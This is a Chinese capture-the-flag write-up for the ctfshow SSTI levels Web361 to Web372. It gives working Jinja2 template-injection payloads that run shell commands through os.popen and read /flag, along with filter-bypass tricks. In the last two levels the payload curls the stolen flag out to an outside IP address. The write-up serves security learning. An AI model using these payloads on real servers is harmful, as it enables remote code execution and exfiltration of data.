ctfshow ssti (通关)

Web361

猜测页面是get型,get一个name,我们在url后面输入一个?name=1

 这里利用os._wrap_close类,写个脚本来找。

import requests
from tqdm import tqdm

for i in tqdm(range(233)):
    url = 'http://0778f666-ac38-4c4c-9eaf-651f8b2ee0d4.challenge.ctf.show/?name={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
    r = requests.get(url=url).text
    if('os._wrap_close' in r):
        print(i)

然后利用利用.init.globals来找os类中的。init初始化,globals全局查找

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}

 其中能看到popen,于是利用其来执行命令

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

 最终的是:

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

 

 Web362

过滤了数字,全角数字代替正常数字,下面是转换代码。

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

尝试将上题的payload中的数字换成全角数字,成功

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

Web363

上一题payload不能用了。测试发现过滤了单双引号

百度搜索ssti过滤引号,发现给了两种绕过方式,一种是request,另一种是chr

其实也就相当于命令执行里面的拼接

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

Web364

在上面的基础上过滤了args

request.args是GET传参,可以使用其他方式来代替args,如cookie

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
 
Cookie:a=os;b=popen;c=cat /flag

Web365

在上面的基础上过滤了中括号  []

?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}

Cookie:a=cat /flag

Web366

测试过滤了下划线,在上面的基础上要绕过url_for和__globals__

这里用attr方法:request|attr(request.cookies.a)等价于request[“a”]

于是构造payload

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag

Web367

测试发现过滤os继续用attr方法绕过

?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}

Cookie:a=__globals__;b=os;c=cat /flag

Web368

过滤了{{ 用print绕过的

?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}

Cookie:a=__globals__;b=os;c=cat /flag

Web369

去掉了request

{%%}执行代码、拼接字符赋值给变量。

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

{% set po=dict(po=a,p=a)|join%}  #通过dict()和join构造pop

{% set a=(()|select|string|list)|attr(po)(24)%} #a等价于下划线

{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}  #通过拼接得到__init__
#glo、geti、built同理
#再往后,调用chr,构造/flag,读取文件

Web370

过滤引号、args、中括号、下划线、os、花括号、request、数字
可以用lipsum|string|list获取数字,或者使用count,lenth等函数计算字符长度来获取数字

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串:")
    for i in s:
        t += half2full(i)
    print(t)
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

Web371

先 FUZZ 一下得到黑名单:'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', "'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app',' request', 'args', 'url_for', 'print',由于过滤了 print,这里采用反弹 shell 的方式来获取 FLAG

{% set b=(t|length)%}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,ccc,ccccccccc,ccccc,point,cc,cccccccccc,ccccc,point,c,cccc,ccccccccc,point,c,b,cccccc,maohao,ccccccccc,cccccccc,ccccccc,ccccccccc,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

Web372

先 FUZZ 一下得到黑名单:'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', "'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app',' request', 'args', 'url_for', 'print', 'count',由于过滤了 print,这里采用采用反弹 shell 的方式来获取 FLAG,过滤的 count 用 length 来代替

{% set b=(t|length)%}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,ccc,ccccccccc,ccccc,point,cc,cccccccccc,ccccc,point,c,cccc,ccccccccc,point,c,b,cccccc,maohao,ccccccccc,cccccccc,ccccccc,ccccccccc,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值